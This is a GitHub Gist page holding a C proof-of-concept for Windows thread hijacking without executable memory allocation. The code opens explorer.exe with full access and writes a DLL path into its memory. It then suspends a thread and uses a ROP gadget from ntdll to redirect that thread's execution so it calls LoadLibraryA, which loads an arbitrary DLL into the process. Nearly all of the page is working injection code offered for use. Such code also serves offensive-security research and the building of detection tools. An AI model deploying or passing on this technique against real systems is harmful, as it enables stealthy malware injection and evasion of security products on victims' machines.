Created
September 28, 2024 20:30
-
-
Save bad0ps3c/20f7a349539ceea76a4ad3d8ce7a6078 to your computer and use it in GitHub Desktop.
Thread Hijacking without executable memory allocation PoC
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /* | |
| * Thread Hijacking without executable memory allocation PoC | |
| * | |
| * @UmaRex01 | |
| * https://medium.com/@umarex01/t-rop-h-thread-hijacking-without-executable-memory-allocation-d746c102a9ca | |
| */ | |
| #include <windows.h> | |
| #include <tlhelp32.h> | |
| #include <tchar.h> | |
| #include <stdio.h> | |
| #define TARGET_PROCESS TEXT("explorer.exe") | |
| DWORD FindProcessByName(const TCHAR* procName); | |
| BOOL FindGadgetInFunction(const CHAR* moduleName, BYTE* gadget, SIZE_T gadgetSize, LPVOID* oFoundAddress); | |
| VOID PrintLastError(); | |
| int main() | |
| { | |
| CHAR dllPath[] = "C:\\Users\\user\\Test.dll"; | |
| HANDLE hProcess = NULL, hThreadSnap = NULL, hRemoteThread = NULL; | |
| DWORD dwTgtProcId = 0; | |
| THREADENTRY32 te32; | |
| LPVOID pRemoteDllPath = NULL, pPopRcxRetGadgetAddr; | |
| CONTEXT threadContext; | |
| // pop rcx; ret | |
| BYTE popRcxRet[] = { 0x59, 0xC3 }; | |
| BYTE buffer[24] = { 0 }; | |
| threadContext.ContextFlags = CONTEXT_FULL; | |
| te32.dwSize = sizeof(THREADENTRY32); | |
| // Find the "pop rcx; ret" gadget in ntdll.dll | |
| if (!FindGadgetInFunction("ntdll.dll", popRcxRet, sizeof(popRcxRet), &pPopRcxRetGadgetAddr)) { | |
| printf("[-] Unable to find the gadgets in ntdll.dll\n"); | |
| return 1; | |
| } | |
| printf("[+] Found gadgets at: %p\n", pPopRcxRetGadgetAddr); | |
| // Find the target process by name | |
| dwTgtProcId = FindProcessByName(TARGET_PROCESS); | |
| if (dwTgtProcId == 0) { | |
| printf("[-] Target process not found\n"); | |
| PrintLastError(); | |
| return; | |
| } | |
| printf("[+] Target PID: %d\n", dwTgtProcId); | |
| // Open a handle to the target process with all access rights | |
| hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwTgtProcId); | |
| if (hProcess == NULL) { | |
| printf("[-] Failed to obtain handle to the target process\n"); | |
| PrintLastError(); | |
| goto Exit; | |
| } | |
| printf("[+] Successfully obtained handle to the target process\n"); | |
| // Allocate rw memory in the target process for the DLL path | |
| pRemoteDllPath = VirtualAllocEx(hProcess, NULL, strlen(dllPath) + 1, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); | |
| if (pRemoteDllPath == NULL) { | |
| printf("[-] Remote memory allocation failed\n"); | |
| PrintLastError(); | |
| goto Exit; | |
| } | |
| printf("[+] Remote memory allocated successfully: %p\n", pRemoteDllPath); | |
| // Write the DLL path into the allocated memory in the target process | |
| if (!WriteProcessMemory(hProcess, pRemoteDllPath, dllPath, strlen(dllPath) + 1, NULL)) { | |
| printf("[-] Failed to write to the target process memory\n"); | |
| PrintLastError(); | |
| VirtualFreeEx(hProcess, pRemoteDllPath, 0, MEM_RELEASE); | |
| goto Exit; | |
| } | |
| printf("[+] DLL path successfully written to the target process memory\n"); | |
| // Take a snapshot of all threads in the system | |
| hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); | |
| if (hThreadSnap == INVALID_HANDLE_VALUE) { | |
| printf("[-] Failed to create a snapshot of the threads\n"); | |
| PrintLastError(); | |
| VirtualFreeEx(hProcess, pRemoteDllPath, 0, MEM_RELEASE); | |
| goto Exit; | |
| } | |
| // Find the first thread in the target process | |
| if (Thread32First(hThreadSnap, &te32)) { | |
| while (Thread32Next(hThreadSnap, &te32)) { | |
| if (te32.th32OwnerProcessID == dwTgtProcId) { | |
| hRemoteThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te32.th32ThreadID); | |
| break; | |
| } | |
| } | |
| } | |
| if (hRemoteThread == NULL) { | |
| printf("[-] No thread found in the target process\n"); | |
| VirtualFreeEx(hProcess, pRemoteDllPath, 0, MEM_RELEASE); | |
| goto Exit; | |
| } | |
| printf("[+] Target TID: %d\n", te32.th32ThreadID); | |
| // Suspend the thread to modify its context | |
| SuspendThread(hRemoteThread); | |
| GetThreadContext(hRemoteThread, &threadContext); | |
| // Prepare the buffer with the DLL path and function pointers. | |
| // RCX will hold the address of the DLL path in the target process. | |
| // This value will be passed to LoadLibraryA after the "pop rcx; ret" gadget is executed. | |
| *(DWORD64*)(buffer) = (DWORD64)pRemoteDllPath; | |
| // The next value in the buffer is the return address, which will be the address of LoadLibraryA. | |
| // After the "pop rcx; ret" gadget, the execution will jump to LoadLibraryA and use the | |
| // value in RCX (the DLL path) as its argument. | |
| *(DWORD64*)(buffer + 8) = (DWORD64)LoadLibraryA; | |
| // After LoadLibraryA finishes executing and the DLL is loaded, the thread should cleanly exit. | |
| // We ensure that the next value on the stack after the gadget execution is the address of ExitThread. | |
| *(DWORD64*)(buffer + 16) = (DWORD64)ExitThread; | |
| // Adjust the stack pointer (RSP). The decrement of 32 bytes ensures that the stack | |
| // is properly aligned and avoids overwriting any important data. | |
| threadContext.Rsp -= 32; | |
| // Set the instruction pointer (RIP) to the gadget "pop rcx; ret". | |
| threadContext.Rip = (DWORD64)pPopRcxRetGadgetAddr; | |
| // Write the modified context (buffer) to the target thread's stack | |
| if (!WriteProcessMemory(hProcess, (PVOID)(threadContext.Rsp), buffer, 24, NULL)) { | |
| printf("[-] Failed to write to the target thread's stack\n"); | |
| PrintLastError(); | |
| VirtualFreeEx(hProcess, pRemoteDllPath, 0, MEM_RELEASE); | |
| goto Exit; | |
| } | |
| printf("[+] Successfully wrote to the target thread's stack\n"); | |
| // Overwrite the target thread's context with the new values | |
| if (!SetThreadContext(hRemoteThread, &threadContext)) { | |
| printf("[-] Failed to set the target thread's context\n"); | |
| VirtualFreeEx(hProcess, pRemoteDllPath, 0, MEM_RELEASE); | |
| goto Exit; | |
| } | |
| printf("[+] Thread context successfully overwritten\n"); | |
| // Wait before resuming the thread to ensure the context has been modified | |
| Sleep(2000); | |
| // Resume the hijacked thread | |
| ResumeThread(hRemoteThread); | |
| printf("[+] Remote thread successfully hijacked\n"); | |
| Exit: | |
| if (hRemoteThread != NULL) CloseHandle(hRemoteThread); | |
| if (hThreadSnap != NULL) CloseHandle(hThreadSnap); | |
| if (hProcess != NULL) CloseHandle(hProcess); | |
| return 0; | |
| } | |
| /********** HELPER FUNCTIONS **********/ | |
| BOOL FindGadgetInFunction(const CHAR* moduleName, BYTE* gadget, SIZE_T gadgetSize, LPVOID* oFoundAddress) | |
| { | |
| HMODULE hModule = GetModuleHandleA(moduleName); | |
| if (hModule == NULL) | |
| return FALSE; | |
| PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hModule; | |
| PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)hModule + pDosHeader->e_lfanew); | |
| PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders); | |
| BYTE* addressStart = (BYTE*)hModule; | |
| DWORD textSectionSize = pSectionHeader->Misc.VirtualSize; | |
| for (DWORD i = 0; i < textSectionSize - 3; i++) { | |
| if (memcmp(addressStart + i, gadget, gadgetSize) == 0) { | |
| *oFoundAddress = (LPVOID)(addressStart + i); | |
| FreeLibrary(hModule); | |
| return TRUE; | |
| } | |
| } | |
| FreeLibrary(hModule); | |
| return FALSE; | |
| } | |
| DWORD FindProcessByName(const TCHAR* procName) | |
| { | |
| HANDLE hSnapshot; | |
| DWORD dwProcId = 0; | |
| PROCESSENTRY32 pe32; | |
| pe32.dwSize = sizeof(PROCESSENTRY32); | |
| hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); | |
| if (hSnapshot == INVALID_HANDLE_VALUE) | |
| return 0; | |
| if (Process32First(hSnapshot, &pe32)) { | |
| do { | |
| if (_tcsicmp(pe32.szExeFile, procName) == 0) { | |
| dwProcId = pe32.th32ProcessID; | |
| break; | |
| } | |
| } while (Process32Next(hSnapshot, &pe32)); | |
| } | |
| CloseHandle(hSnapshot); | |
| return dwProcId; | |
| } | |
| VOID PrintLastError() | |
| { | |
| LPVOID lpMsgBuf; | |
| DWORD errorCode = GetLastError(); | |
| if (errorCode == 0) | |
| return; | |
| if (FormatMessageA(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, | |
| NULL, errorCode, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPSTR)&lpMsgBuf, 0, NULL) == 0) { | |
| printf("[-] Failed to retrieve error message for code: %d\n", errorCode); | |
| return; | |
| } | |
| printf("[-] Error %d: %s", errorCode, (char*)lpMsgBuf); | |
| LocalFree(lpMsgBuf); | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment